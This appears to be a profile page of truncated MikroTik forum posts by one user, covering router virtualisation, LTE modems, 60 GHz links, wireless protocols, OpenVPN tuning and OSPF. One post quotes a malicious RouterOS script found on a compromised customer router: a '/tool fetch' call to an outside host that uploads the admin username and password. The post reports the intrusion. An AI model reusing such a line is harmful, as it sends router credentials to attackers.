MikroTik

wpeople

if you want to run your router in VM, its highly recommended to use PCI-passthru for passing the whole NIC to the VM.

SR-IOV is great - unless you want to have quite a big traffic - since it can do only 1 or 2 rxtx-queue per port, while the X520DA-2 NIC can have like 64 or 128 queues per port.

wpeople

may i ask please, if your computer reboots when you restart the card - or that happens only with HP/DELL like servers?
Thanks!

wpeople

probably the card doing some strange PCI init thing - what causes the machine to crash or forces reboot. If a soft-restart (like watchdog reboot) can be survived by the host, and only firmware upgrade would need cold restart, that would be something i can live with. Until than, i only can ask if the...

wpeople

I'm planning to build a VM server then put CHR on it among other things. 1. Would it be better to have hardware interfaces as PCIE passthrough, or bridged via virtio? PCI Passthru is a way faster solution for VM networking. With bridging - every packet needs at least 2 CPU cycle (one in host, one i...

wpeople

well, i tought to use them in DC/hosting environment, probably a 2U rack chassis serving 6-9 cards in 2-3 columns.

wpeople

I wouldn´t! Here it is how I tried and fried and also repaired it:
viewtopic.php?t=189441

Besides there are no proper cases available.

if i'm right, that card is blown because of OLD picoPSU...
the proper case is not an issue.

wpeople

If there is ever revision 2 of this card, adding optional external power (either jack or POE or internal connector) would help. That way it would be possible to run it at all times, no matter what's the state of PC. Or even use it as a "router on a stick" like some users tried (and fried)...

wpeople

Why bother with USB when there’s a version with LTE built-in?

More options.

1) the customer already have his hAP AC3
2) the difference between hAP AC3 and hAP AC3 LTE is like 100EUR, while the stick is like 30EUR

wpeople

What operation mode is the d-link in?

tried both with firmware ignore and without

wpeople

Hello,
is there any USB LTE modems supported by arm class CPU ? (like hAP AC3)

I have a D-Link DWM-222 stick whats working well in hAP, but not in hAP AC3. there is no usb1 in /system ports

any recommendations?

wpeople

I had exactly the same issue as you mentioned. Unit need to be reseted, it can be done only with cables unplugged, etc. Seems 7.3beta37 fixed the issue. also: /interface/ethernet/ set cpu flow control=no I have big problems with turning on(booting) the device! :( It turns on the third or fourth time...

wpeople

We made something like this for a CRS309+Hex (series)

crs309-hex.jpg

Let me know if anyone interested

Also https://www.cyberteam.pl
makes a dual/triple mount for HeX series

wpeople

Hello, I'm interested if there is a possiblity to set "check-gateway" feature on default gateway pushed by DHCP or PPPoE server? Is there a hidden trick, script or something to make this possible? Both DHCP and PPPoE has the possiblity for a dynamic IP customer endpoint, that provider give...

wpeople

In my experience using SFP+ NICs, it's way more effective give PCI NIC with PCI Passthru to the VM, than bridging. with ProxMox using bridging thruput was limited somewhere around 5gbps (per NIC) with high CPU usage. With PCI passthru i can load the full 10G on the interface. Bandwidth test to local...

wpeople

sorry for necroposting but are there any suggestions beside changing buffer from 50 to 250? i have 2mbit ovpn connection over 30mbit internet channel :,( before changing from 50 to 250 was 1mbit, but 2mbit are still too slow... What device do you use, and what encryption? Give a try to sent cipher ...

wpeople

for the records, i would say, P420i is supported. Just installed to an SSD drive onto a DL360p Gen8 server with 4LFF bays. You also can use the onboard SATA slot (what's originally for the optical drive) as well. If you need, you can leak the trunk cable powering the hotswap bays, and can use standa...

wpeople

Also I am using SwOS not RouterOS as I read the docs and it seems to me like RouterOS is slower than SwOS as it has more unnecessary fluff (for me) to it. with proper configuration RouterOS do nothing else, just give commands to switch chip, and the data will NOT leave the switch chip. Badly config...

wpeople

I have two CRS326-24S+2Q+RM installed in a HomeLab here. I am trying to link them with two 40G DAC cables. When I install one cable, the link between the two switches works fine. I next configure the pair of 40G QSFP+ DAC interfaces to be in a LAG. When I install the second 40G DAC cable between th...

wpeople

The main advantage are additional channels which make a difference in 60GHz... Not only only the additional channels, but they can "shrink" the used bandwidth to half, and use the same power on half channel - with less, but more robust thruput. Also, it's a big difference if you can aim a...

wpeople

We tested AF60LR units -they includes a new precise aiming mount - and a way faster to align the units.

wpeople

Thanks for all the info, I didn't have notifications enabled and I just read all the replies :) I don't really *need* more speed than my current Mikrotik routers but it was not clear to me if Mikrotiks CPUs are considered ASICS and if fast desktop CPUs would generally perform worse. I guess I that ...

wpeople

Have to admit, I wish there was a facility in winbox to (temporarily) turn off beam steering on the nRay units. It is a bit frustrating aligning the unit and have beam steering messing around at the same time. With 70/80 GHz links, we can, and do, align them without any use of scopes - even over di...

wpeople

NC523 is a 19Watt adapter while NC560 (intel x520 based) is a way better and also available for cheap 2nd hand. It costs like double of NC523 but really worth it.

wpeople

Not me, but I'm currently using http://routerboard.com/SplusDA0001 with a SolarFlare SFN5162. I use both of these on a FreeNAS and a CentOS 6 KVM hypervisor hooked up to a CRS226. iperf results got me about 9.8 Gbps between the two. Hi, I was found this post when searching the Internet. So Im add...

wpeople

Note: The RB4011 does not support Passive DAC modules, 1GB copper SFP modules and SFP GPON modules. I have to say, RB4011 DO work with passive DAC modules. On the test bed, 4011 connected to CRS305 with FS.com's passive DAC cable. https://www.fs.com/de-en/products/74617.html interface ethernet moni...

wpeople

still no support for...

Hello,
I would love to see SR-IOV support. Currently (6.36.2) ixgbevf driver is not present. This was mentioned a year ago http://forum.mikrotik.com/viewtopic.php ... &start=100 but so far not implemented.

Jarda
Where are we at with this?

wpeople

CRS317-1G-16S+RM has alike structure inside. Would share some temperature of it, running in in a colo, on top of rack - reported by RouterOS 4 port of 16 empty, mostly using DAC cables, but SFP+ modules data below board temperature 53C CPU 42C 80km DWDM SFP+ - (Fs.com DW35-10G-80-4932) 54C 10km SFP+...

wpeople

Just interested how many full views would like to handle on this device? A full view takes less than 500MB of RAM nowdays.
You need to handle more than 2 full views?

wpeople

Mikrotik (and Ubiquiti) uses a low cost wi-gig chip for wireless transmission with beamforming antenna matrix. If you check the wireless wire kit, it has 6x6=36 antenna elements in the array, while wap60-180 AP has triple antenna elements integrated to cover 3x60=180degress. (in fact 3x32=96 element...

wpeople

for my experience (in LAB), Proxmox is much faster for Mikrotik virtualisation then ESXi.
Not tested with BGP, just routing and bandwidth test.

wpeople

OSPF (over openvpn tunnel) caused me 100% cpu load. Downgrading and all OK.

wpeople

Mjoelner, i don't really got the point why you want to push 30K sized ICMP packets... TCP and UDP frames will not be sized bigger than 1500bytes as they live you NIC, and OpenVPN will deal with those packets. Yes, thruput will be slower than using like 1350-1400byte tunnel MTU (where OpenVPN dont ha...

wpeople

Hello, I am also a OpenVPN user, but new to MikroTik and MikroTik OpenVPN. Sorry for hijacking the thread, but facing buffer issue(I think) and also slow speed. Using clients with OpenVPN to connect to inside network, and have troubles sending big packed out and back to client. Inside network it wo...

wpeople

After doing this, speed is much increased. Keep in mind: do that for both sides, unless doing it, the speed will slow in that direction. Other way is setting queue size for "default" queue to 250. (on both sides) Please refer if that helps. I'm trying this. I set up a new queue in the cli...

wpeople

by default, OpenVPN uses pfifo type queue, with queue size ~50packets. Make your openvpn interface static (if the link comes up, do copy and rename it). Now you have an interface, where you can change interface queue. Make a new queue type called openvpn-default, with type pfifo and size ~250 set th...

wpeople

@mistry7 of course, i familiar with the basics. QRT is on customer side, out of city, no noise. On the POP side, the antenna is Jirous EX 1foot with protected side lobes (i think, its also have some RF absorber foam inside on sidelobes). Radio is in metal box. However my problem is what the post abo...

wpeople

NV2 is like tank SLOW but best vs heavy noise. I would not say that. Probably comparing perfect link (no noise, good signal) using NV2 and Nstreme - than NV2 is 10-20% faster, but my experience says, in many cases where we have even low noise (or distance like 10km) nstreme can be same or better. P...

wpeople

Hello, I have a PTP link between a netmetal5 and QRT5. The area at netmetal is quite noisy, so I planned to switch back to nstreme (in my experience, its much better handling noise). What is really strange to me: when switching to nstreme, both side seems fallback to 5GHz-A ( I see only 36 and 48mbp...

wpeople

Someone tested in NV2 how is working the RBDynaDishG-5HacDr3 which is 802.11ac but has MIPSBE? :? Has anyone tested the newer RouterOS with these higher versions? Does NV2 link work normal? Also, I find it odd that nstream would work and NV2 would not given that NV2 is short for "nstream versi...

wpeople

Just found this on a customer router (where winbox was open for world, running 6.42.3) in system/scripts {/tool fetch url=("http://www.boss-ip.com/Core/Update.ashx\?key=7da1df40bdee0309&action=upload&sncode=E014B372E8F5165AD6432DD4F81E1A03&dynamic=static&user=admin&pwd=Clear...

wpeople

Yes! 95% of those routers had ip/services limitation since installation! (other 5% is customer radio turned to router from bridge, due customer router issue) 90% of those 95% devices has remote syslog as well - but momentary had no time to lookup them. probably i will found something, becuase hacker...

wpeople

May i ask, how is it possible to attacker to load up the know scripts and modify firewall, sock proxy, etc. if in IP/Services only winbox and ssh is allowed,but they are limited to connect from known prefixes? It's even happened in 6.42.1 or 6.42.3 Without knowing exactly what you had configured on...

wpeople

May i ask, how is it possible to attacker to load up the know scripts and modify firewall, sock proxy, etc.
if in IP/Services only winbox and ssh is allowed,but they are limited to connect from known prefixes?

It's even happened in 6.42.1 or 6.42.3

wpeople

i didn't read the brochure, my bad. it says:

I didn't expect it to have a DC-DC up-convert for that low price

Thanks!

wpeople

we just set-up the following set on table: HeX Poe powered with mUPS OmniTik and one other MT device powered my HeX PoE. mUPS fed with 24V 30W power supply, and a 12V battery. In normal case, HeX shows ~25V 3W power output but if i unplug the power adapter, HeX shows 19V power input and power output...

wpeople

Nowdays a truck-roll, or 1-2hour of manwork more expensive than those device.
So i think most of us happily pay a few percent more, if the capacitor's lifetime much longer, and the chip is working well with software.

Please don't save few bucks in these!

wpeople

can't really believe NV2 is the best choice in noisy area...
Every time i have interference issues and degraded thruput - its much better after switching to nstreme...

wpeople

if you don't want to mess with VPN clients, than use port knock.
There are (free) clients for almost any platform. Just send some packets in specific order, and it will open up the ports FOR YOU for the time you specifed.

wpeople

Winbox proxy ??? It might be nice to be able to connect to another Mikrotik using the 1st mikrotik as a proxy to be able to connect up to a 2nd Mikrotik. Where , an admin might not be able to directly connecte to the 2nd mikrotik, but if the 1st mikrotik can mac/IP connect to the 2nd then allow a w...

wpeople

for me it sometimes gone away with ROS upgrade or setting the IP address of DHCP server in dhcp settings

wpeople

Yesterday we had small storm here, both 640m and 1400m link stopped several times sometimes for seconds, but even 2 minute outtage happened. kmet_csap1_20180727.png mcs: 8 phy-rate: 2.3Gbps signal: 80 rssi: -58 tx-sector: 56 tx-sector-info: left 1.4 degrees, up 1.4 degrees distance: 640.23m jul/27 2...

wpeople

The issue above only affects AC (or ARM / AC ?) devices I think.

wpeople

Normis, is there a way, to do some improvement in Nstreme as well? Or Mikrotik fixed that as a Dead end?

Many times its working much better than NV2...

wpeople

You could do a script and even change ospf cost until the rain stops and signal goes to normal. I know, that i can do checking signal in every minute and do something with script. I would happily pay a bounty to have an option in wireless interface for this. Like with LED wireless signal strength d...

wpeople

At siteA, we have installed a WirelessWire in AP mode, so will check if remote LHG60 can connect from 1.4km

wpeople

SiteA connected: yes frequency: 58320 remote-address: 04:D6:AA:A4:CA:63 mcs: 8 phy-rate: 2.3Gbps signal: 80 rssi: -60 tx-sector: 29 tx-sector-info: right 0.6 degrees, down 0.2 degrees distance: 1389.92m SiteB connected: yes frequency: 58320 remote-address: 04:D6:AA:A4:CA:57 mcs: 8 phy-rate: 2.3Gbps...

wpeople

yes, the above bonding solution do disorder of packets if you dont have control of connections (and they are from different provider) you can avoide the disorder of packets in case, you make different tunnels and make load sharing between them, not by the packets even or uneven, but with source or d...

wpeople

Yes,You can setup more than one ethernet tunnels with EoIP or OpenVPN, and can do bonding with.

wpeople

Why not do some improvements with nstreme (the old one) ?
In noisy environment it works better than nv2 in many cases... If it works well with arm, why not?
(at least until NV2 got fixed)

wpeople

beamforming antenna selection and signal display was also no to responsive for us.
i've heard, we have to make some traffic thru link (few hundred megs via btest for example) for much faster response...

wpeople

@cohprog thanks for the info. May i ask your experience in those rainy days over Metrolinq?

wpeople

Hello, I saw several threads about Wireless Wire and LHG60 products. I think it would be helpful to share here some real life data of our installed links, what do we have expect on what distance. Please share info like this: interface w60g station monitor wlan60-station-1 once connected: yes remote:...

wpeople

where to reduce power?
On client TX or AP TX ?

wpeople

Hello, in many places i've experienced, that good old Nstreme has much better thruput in noisy environment than NV2. NV2 have a bunch of nice features, and i know, its much different, but in many areas i have to switch back to nstreme, because nstreme simply outperforms the new protocol, even if CCQ...

wpeople

I would strongly advise against OpenVPN on Mikrotik for the above reasons. Performance is very poor with TCP-in-TCP, see http://sites.inka.de/bigred/devel/tcp-tcp.html for explanations.

I easily can pass ~120mbps TCP traffic, what would answer _this_ question.

wpeople

Hello, I'm connecting two sites over internet with EoIP to pass a lan from one site to another. Works great, with 6.42.1 version, even if remote site's IP changed. The problem is: both sites have two independent internet access, configured with default gw's check (by ping). If siteA's primary intern...

wpeople

currently (in ROS 6) no HW acceleration. if you want to push 100/100mbps via OpenVPN i recommend 1100AHx4 what has a quad core 1400MHz CPU (what also can be overclocked with 20% - no problem if you have proper cooling of rack). more MHz is better than more cores in this, so 1100AHx4 would be better ...

wpeople

Hello,

I'm interested if Mikrotik would hire programmers on request.

I tought of the following: give a bounty for Mikrotik to implement and long waiting function.

Like pay 20 000 USD for really good openvpn support.
I bet, there are more than 1000 users, who would pay 20USD (or more) for this...

wpeople

Guys, thanks for your answers. I know, ssh is not supported - but telnet does, i dont really mind it on a local mgmt network. I will double check what i've missed. vadimbn thanks so much for the well detail description. Since the PCs nowdays missing the serial connector (and not every machine has OO...

wpeople

Hello, i tought, the stick is working like RB411 with the SSH to Serial option (plus the WEB interface) - so i planned to use it with Linux machine. The machine recognise the stick az ttyUSB0 so i tried getty, and after nothing happened, i tried minicom to check whats going on. Web console does not ...

wpeople

It does NOT show up boot process, unless the host support to load up USB drivers from BIOS... Some motherboards supports serial console too (even over IPMI). But to see boot process, you need to direct console to specific serial device. I bet, in ROS, there is a trigger to bind console to freshly fo...

wpeople

yes, i know, i can run a scheduler. however generally in wireless would be a nice option to offer a (netwatch alike) option to run script in case of - signal (or ccq) is decreasing and reached X value (disable in bridge or dyn.routing) - signal (or ccq) is increasing and reached Y value (enable in b...

wpeople

I would be pleased to have on option in the Wireless60G to
- run a script (like netwatch)
- or disable/enable the bridge port status depending on Signal (or CCQ in future)

This would be useful to switch to backup before link quality goes down to loosing packets.

wpeople

in MUM 2018 Berlin, they had a working pair of LHG 60G
Also they had a presentation about: https://mum.mikrotik.com/presentations/ ... 039676.pdf
they DO offer PMP capabilities.
LHG60G would connect to the wAP sized 60G base station.

wpeople

Looks like the lte card is damaged - contact for the RMA of the unit.

Yes. Sadly RMA of a unit tooks about a month

wpeople

All the PCB was very hot, even on sides. Can be hold by hand, but not for so long.

just wanted to report: i pulled off the miniPCI-e card and the board says 37C deg. The heatsink on board is not warm.
so the issue is definitely with the R11e-LTE card.

wpeople

Happened the same to me.
The device was worked in the attick (it's winter here, so between 0 and 10C deg). LTE interface disappers, even not visibile in PCI list.

At the moment i'm verifying the device. Normal room temperature like 23C, the device reports 67-68C deg even out of the plastic case.

wpeople

https://wiki.mikrotik.com/wiki/Cellular ... _modems_01

Check the above tutorial.
After initializing the modem with this: at+qcfg="usbnet",1
you will have the LTE interface, what is faster.

wpeople

I agree, that LTE interface can be better than PPP-async, and understand why async uses more CPU. What i cannot understand at the moment, how is possible, that stick-A consumes less CPU than stick-B, on the same routerboard, same speed. (both sticks has 7.2mbps speed) But unfortunately that stick fi...

wpeople

Those are the sticks that present themselves as a serial port with HAYES modem where you have to configure a PPP line over the serial port, isn't it? Those always require quite some CPU. But other than that, they work reliably. yes, all the mentioned sticks working with AT command set and PPP-clien...

wpeople

i have 3 mobilnet stick - planned to use as backup hAP AC lite (952Ui-5ac2nD) 650MHz CPU: Huawei 3131a (Down: 7mbps Up: 1.4mbps) sub 20% cpu usage while speedtest.net ZTE MF195 (Down: 7mbps Up: 1.4mbps) sub 20% cpu usage while speedtest.net ZTE MF667 - no port found RB 951Ui-2HnD 600MHz CPU: Huawei ...

wpeople

Hello (and have a happy X-Mas) ! I just run into an issue: put a SIM into SXT-LTE with different SIM PIN configured. It just locked the card, and i need to get off the SIM, put into mobile phone, and unlock it with the PUK code. (as seen in older thread: https://forum.mikrotik.com/viewtopic.php?f=1&...

wpeople

get off the card into a cellphone and unlock (and disable the SIM request)

wpeople

.............................. and some even radiates to backside.) It's really bad news for any site that has AP's with high (!) backside signals, we very quickly replaced them with the excellent RF Elements sectors which have "Backshield" for reduced rear signals. Can you link those ant...

wpeople

We use 30 degree horn a lot. No problem with them. It is a very good antenna in conjunction with Mikrotik We use other horn sectors, and also happy with them. They do not offer the same gain as you expect from same "size" of "traditional" sector antennas - but the thruput maybe ...

wpeople

As regards "TwistPort horn (or parabolic) antennas has no polarisation " that is correct until you insert/attach an radiating element(s) then it becomes polarised. Yes. Do you know the twistport cage for RB922 board ? It has a "daughterboard" connected with MMCX cable. What they...

wpeople

................................... In fact ,I observe that Netmetal has 31 dBm in Tx and AirFiber 5x has only 26 dBm in Tx. Netmetal advantage, if you want to use them in such setup . You can do full duplex link with one antenna and two wifi cards with that , without any problems. It would be grea...

wpeople

scampbell: your idea is not working because that is a low band (2.4G) and hi band (5G) filter inside. Ndor: yes, i can be done with bandpass filter - but that would really limit the usage. For example: radio port1 filtered to 5500-5650 radio port2 filtered to 5750-5900 Again: Mimosa connect 2 radio...

wpeople

For us between 7-12Kms PTP the use of 17/24GHz link has been a very good investment ? http://summitd.cz/en/product/en-bth-2 "..It is a Full-Outdoor and Full-Duplex microwave link operating in the 17 and 24 GHz license-free band. The hybrid radio transmits/receives on one channel in the 17 GHz ...

wpeople

Well, mounting two big dishes on each side (especially if it's relay point) it's not so easy in most situations. What are really interesting in Infinet 2x2 (and Cambium PTP600/650) is they can scan the whole spectrum while communicating. If jumping to different freq is needed, they can discuss it, a...

wpeople

With RF power output of -4dB and -8dB loss it should make anyone rethink their project. Why? Within few kilometers - p2p with two 1foot dishes are more than OK. Sometimes, i rather use 2foot dish in small distance for narrower beam. If i can double the thruput on cost of adding one more radio to my...

wpeople

Has the enclosure a IP (Ingress Protection) rating certificate? Or Nema certificate?

I don't know if any of MT's device have IP or NEMA certificate or they "just" weatherproof. But this device is made for outdoor usage, mounted on a pole or wall - outside.

wpeople

I only see a problem there, how are you gonna make that waterproof?

If you do what i did, that's waterproofed, since the antenna connector is INSIDE (waterproofed by the cover) and RF cable goes inside within the factory-made hole.

wpeople

1) no such way is "disable the right antenna" 2) you cannot mount antenna (rp sma connector) onto that box. Maybe onto left side - but i'm not sure, that you can place them so near without hitting the card or heatsink. I still would say: bring the RF out on the right of powerjack - and use...

wpeople

Uldis, if I drill a hole in the wAP case to put an external antenna does that void warranty? :P I'm not Uldis, but i would say, just check my posts above (in this thread) for a photo of the wAP board. On the right side of power jack, there are 2 connector places for rp-sma pigtails, with perforatio...

wpeople

Yes, i've used UFL_rp-sma cable and about 30cm 2.4G antenna taken from a TP-Link router. I think, it's about 5dB gain. I bet, a normal 2.4G antenna would do the job, since they are cheap and not fully optimised for 2.4G -> they will work on 1000MHz az well as 2500MHz with some dB difference. On 800M...

wpeople

Tests with external (~30cm rp-sma 2.4G) antenna attached. If RSRP -75dBm / SINR 21 dB -> max I could get is 90mbps downstream and 41mbps upstream (shown by interface traffic, speedtest shows slightly less - what is normal) If RSRP is ~80dBm / SINR 19 dB -> 70mbps downstream and about 30mbps upstream...

wpeople

All we can do is wait for a "fix", if it has anything to do with the firmware, otherwise my plans for this device are doomed :( SXT-LTE has different bands that your providers using? I think, i would use them, where they are working - and use wAP where it's a must. Maybe i will give a try...

wpeople

Where are you from wpeople? I'm from Portugal, all the LTE bands used in here are supposedly compatible, one thing that I noticed is that most of the times my upload is bigger than my download, it also happens to you? I'm from Hungary. We have 3 providers here (T-mobile, Telenor, Vodafone). I can t...

wpeople

At the moment wlan1 is disabled, latest rc (6.41rc47) is installed. Cover removed, patch antennas off the box. Best i could get is 45mbps downlink and 40mbps uplink. As seen in the picture, the antenna connectors are glued onto card wap_lte_front.jpg There are additional info about wAP LTE by Uldis ...

wpeople

Can you do one test for me?Meassure the speed as normal, than try disabling onboard WIFI and repeat the test again over lan. Do you see any noticeable difference? Dont have unit anymore to test for my self Yes, i would do. But it needs to connect again. Sadly if i do changes on LTE interface (like ...

wpeople

I've compared SXT-LTE and wAP LTE, and seems to me, the SXT-LTE is much faster (if supported band is available). At home, SXT-LTE could do ~80/35mbps almost any time, but wAP LTE only the half (~35/18mbps) on band3, 20MHz. Also, it would be really helpful, if scan would display not only one provider...

wpeople

Hello, in EU the first wAP LTE devices just arrived in early October. I'm sure, most people who interested - already got them in their hands. We have good experience in the past with SXT-LTE - if they works in that region. They can do ~80/40mbps data. Since few days, i have my wAP LTE arrived and te...

wpeople

scampbell: your idea is not working because that is a low band (2.4G) and hi band (5G) filter inside. Ndor: yes, i can be done with bandpass filter - but that would really limit the usage. For example: radio port1 filtered to 5500-5650 radio port2 filtered to 5750-5900 Again: Mimosa connect 2 radios...

wpeople

Hello, I'm interested if any of you found a way to combine two (MIMO) radios into one (MIMO) antenna? I really like the idea what Mimosa B5(c) do: have two radios, and they share single antenna. Since the radios are sync'd together, they can work in nearby freqs too. I know, its possible to have a b...

wpeople

well, if i add route to cloud.mikrotik.com with gateway of dynamic interface, its OK.
unless doing to, it's not OK.

Probably i have to use netwatch for doing this trick?

wpeople

Hello Mikrotik! I'm very interested if there is a known way to bind IPCloud to interface or IP address? Or at least would you share the IP address of IPCloud server? I have 2 uplinks: one fixed IP, and one dynamic - of course, i would like to bind IP Cloud to dynamic, but i found no option for this....

wpeople

Hello, i would like to use Mikrotik-RouterOS to make a tunnel from customer side to provider VPN concentrator, to send voip traffic thru the tunnel. (so the transporting provider(s) would not harm SIP traffic inside the tunnel). The problem is, if customer PBX (with asterisk) sends out registration ...

wpeople

I think, you can use one link (in one direction) in a time - with OSPF. You can force link1 to downstream and link2 to upstream with OSPF, but for selecting links based on source and/or destination, you have to use BGP. OSPF always selects the shortest past (based on cost) and have no filter actions...

wpeople

you can already use it for tests. As the only limitation is the throughput. And in some cases you have to do a workaround that you have to start it in VirtualBox or KVM and shut-down after initial installation. well, not only with thruput. The thruput is much limited (around 100 to 200mbps in my sc...

wpeople

Hello, I would be pleased, if someone can redirect me, which timeout value should be set for limiting a user for a 24h access period, from the first login time. I would use userman for authentication database, what is working well, setting session time and max speed, no problem. My problem is, if gi...

wpeople

xen update - in our tests we are running XEN 4.4.1 and there is problem that if you give image file directly guest will not boot up. There is a workaround - you have to run the image for example, in KVM ($kvm chr-6.33rc10.img) and then stop when KVm reboots. After that you will be able to boot this...

wpeople

Really, I'd use suggest static interfaces as you sound like you have a static set of clients. Also, fair warning, I didn't test that code.[/quote] Sadly, the code is not working, even find where parent~"\\*[0-9a-fA-F]+" not displays anything, but converting dynamic interfaces to static is ...

wpeople

Hello, I'm not new to mikrotik, but i have only limited ideas to implement the following: I have a VPN concentrator running Mikrotik and several VPN clients (also Mikrotik) using OpenVPN. I want to set-up queue-tree prioritization for different kind of traffic go thru the VPN channel. (like prio1 fo...

wpeople

new images for CHR http://www.mikrotik.com/download/share/chr_6_32.img http://www.mikrotik.com/download/share/chr_6_32.vmdk Any news for XenServer users? The following is still valid for 6.32 on XenServer6.5: Will this work on XenServer 6.5? I imported the vmdk, gave it 512Mb RAM and got the follow...

wpeople

Janisk: would you include Xen PV-HVM drivers as well, please? - KVM works now - HyperV works now - VmWare works now - Xen still not :-* I am told that CHR will not have its PV-HVM drivers added for XEN, use non-para virtualized environment instead. Janisk, as i mentioned RouterOS was tested in HVM ...

wpeople

Janisk: would you include Xen PV-HVM drivers as well, please?
- KVM works now
- HyperV works now
- VmWare works now
- Xen still not :-*

wpeople

Will VMXNET3 be included on the standard x86 builds as well or only on the CHR images?

I will be very interested if it's possible to mount a CHR image and copy the kernel module to std x86 image.
Hopefully Mikrotik not want to maintain 2 different kernel trees

wpeople

They've said what they are working on, so leave them to it. No need for 15 people to ask for Virtio storage drivers when they've already said it. They've said they're working on 10G VMXnet3. Have i said, that those PV-HVM drivers already exist and working ? So they just have to include that driver ...

wpeople

i think until Mikrotik releases proper drivers, all this virtualisation thing is good for: - demonstration - testing - dude - user manager and other low network usage things. If you go for higher thruput/pps than you have to use direct access to NIC or specific drivers. What i don't really understan...

wpeople

what kind of queue associated to the port itself?
if it's hardware queue, try to switch to pfifo with ~500packets

wpeople

Hello, i'm interested if there is a possibility of balancing the L2 pipes with OSPF? As visible on the picture i have two sites, both site has L2 Pipe to my BGP router, however my internal net is OSPF. With OSPF, backup is already configure, so if Site2's L2 link dropped, every traffic re-routed via...

wpeople

is it possible, that OSPF would try to start _before_ tunnels came up? If so, maybe a netwatch would (ugly) workaround this with disable/enable ospf interface when tunnel starts.

wpeople

Maybe reflect route to another machine/BGP Monitor?

wpeople

Hello, I have 2 MIMO links from a POP to office. Mimo-links.png The traffic is flowing on the left link by default. Today i wanted to make some service on the link, so i tought to move traffic from left link to right link, by increasing OSPF cost (10->100) on both wlan1 and ether1 on Netmetal (botto...

wpeople

sorry i was bad: i was looking for port traffic not port speeds

I'd also welcome (rapid)spanningtree as well as multiple vlan spanning tree.

wpeople

chechito: CRS has same CPU and Switch chip inside as 2011 - however 2011 happily passes traffic over 100mbps, while CRS not. I understand, that CRS is a "web smart" switch, with some ROS addon - but using switch chip you loose the possibility of measuring portspeeds, torch'ing, spanning tr...

wpeople

CRS had problem of packetloss in case of loaded with high number of packets - handled by CPU. You don't have to do any strange things like EoIP or other tunneling. http://forum.mikrotik.com/viewtopic.php?t=84255 http://forum.mikrotik.com/viewtopic.php?f=2&t=93932 http://forum.mikrotik.com/viewto...

wpeople

If you use freeradius a radius server, you can do the following: when you offer the IP for the user, list the item in a temporary table (like successful leases) with a timestamp (like 24hrs) what is longer than the expiry time of the IP. (periodically clear the exipered IPs from the table) Before of...

wpeople

in my experience: OK: Internet uplink-(GE)-PC Router-(GE)-Switch-(GE)-433GL -> (wireless) -> 433GL-433GL->(wireless)->SXT->CustomerPC Also OK: Internet uplink-(GE)-PC Router-(GE)-Switch-(GE)-433GL -> (wireless) -> 433-433->(wireless)->SXT->CustomerPC NOT OK: Internet uplink-(GE)-PC Router-(GE)-Switc...

wpeople

I think I have to set the ports 'manual' and only 100M connection. See if that will solve the issue. And if it is I will make a report to MT. I'll let you know how this goes on.... Fixing the rate do nothing, however i don't know the root of this problem. Maybe backpressure or timing issue. This is...

wpeople

Just a short question: what speed the interfaces have?
I mean, both CPE and 'puter is fast ethernet or both gigabit? or mixed?

Have a try with same kind! NV2 has issues with ethernet sync if CPE is capable of GE and 'puter is FE or vice versa.

wpeople

just an idea: is it possible that you have multiple bgp connection and reflect provider1 (+your prefixes) to provider2?

wpeople

first of all, go and check the Wiki about OpenVPN. If you don't mind it's limitation against linux's implementation,
(like no compression, only tcp,etc) just then go ahead.

wpeople

set up one EoIP on each link, and use bonding.

wpeople

i've just run into the same issue: i wanted to transfer 3x2011 into 1xCRS. If the CRS is the first in the row, receiving traffic from port1 and passing to port2 (with VLANs, using ethernet-default queue [pfifo 250pkts] instead of only hw queue) We had huge packet loss, also illogical issues in netwo...

wpeople

FYI: they ARE identical to ePMP sector antennas, because they manufacture that antennas for Cambium networks. As i know, they design this antenna on Cambium's request, to have biggest possible F2B ratio and side attenuation, to allow ePMP sectors to profit as lot as possible from GPS syncing of back...

wpeople

I think, choice of sector is depends on the specific environment. For example in my situation, in noisy urban environment i don't mind if if the same direction is covered by two sectors, because that means, the customers can share on bigger bandwidth. Also, i understand your point, that you CAN cove...

wpeople

Why do you think, it will interfere with other antennas, because of the radiation pattern? This antenna is a waveguide (correct me if needed). There will be two versions: standard, when you connect your radio's RF connector directly to the horizontal and vertical dipol or modified radio, when the ra...

wpeople

Hello, I have a problem again with NV2 thruput. Setup is the following: Internet-PC router-CRS-SAF 24GHz Link-RB1100AH-Netmetal (921UAGS-5HPacT) everything is connected with GE wireless ~20km link 911G-5HPnD as CPE from CPE to RB1100AH (connected to CRS with GE) i can measure ~70mbps (on 20MHz ch ba...

wpeople

If anyone interested, i've been on a demo day where RF Elements shows they new products. Those simper sectors are "symmetrical antennas" what means, both vertical and horizontal gain and direction are the same. Yes, they are MIMO antennas. What is really good: they (will) have direction co...

wpeople

we are running 6.25 for 8 days without reboot, hopefully it will stay stable for weeks and months

wpeople

Hello, we just replaced a site what worked with 433AH uplink and sector 433 omni(2g)+omni(5g) sextant - other uplink for the ring topology 951-2n (or alike) to reset one of the boards to netmetal (922UAGS-5HPacD ROS6.25) with addon card (uplink+sector) 433gl for the omnis 450G for acting as router (...

wpeople

I agree, that those information is not 100% accurate, since not following it, if the routing changes. However until your NetFlow source not include the ASN, IMHO the most accurate to export your routing table periodically (daily or hourly) and do the prefix/asn assignment based on that period. Or yo...

wpeople

with 'offline CDR meditation' you can do a daily measurement with traffic flow. Log the traffic, list the prefixes on your and their side, calculate the SUM for those prefixes. I think, a script what running daily can do this job withing 5 minutes. Another possiblity to manually extend the logged tr...

wpeople

I know, it's old. I had same issue with x86. I've tried the same thing, but not worked, so moved to VLAN separation, what caused same reboot issue in x86. On x86 platform, i've tried 6.x (maybe 6.1x) without success. Can you tell me please, if this issue is CPU (binary) related, or it affected both ...

wpeople

Hello, I've just run into issue, when start to replace my switched backbone (RSTP) to OSPF/VPLS. Started to pull access network from remote APs by VPLS tunnels to a RB1100AHx2 (currently running ROSv5.26) to do queueing/dhcp server. Sadly since first tunnels started to operate, the RB1100AHx2 reboot...

wpeople

Please describe which IP address bound to what interfaces. Than double check it yourself before bumping on submit. Maybe you found that NO address bound to any VLAN interface.

wpeople

Nanflexal:

Since IP addresses are assigned to WAN interface (physical interface) and not to VLAN, why do you expect so see any traffic on VLAN ?

wpeople

Can you confirm that NV2 is affected badly, I would expect a small rise in latency but not so bad as to effect the user experience. TDMA should not allow a single node to take control of the AP like this Well, this sector running NV2. Yes, small rise in latency - or even bigger latency in case of b...

wpeople

is there any known way to get desired effect?

wpeople

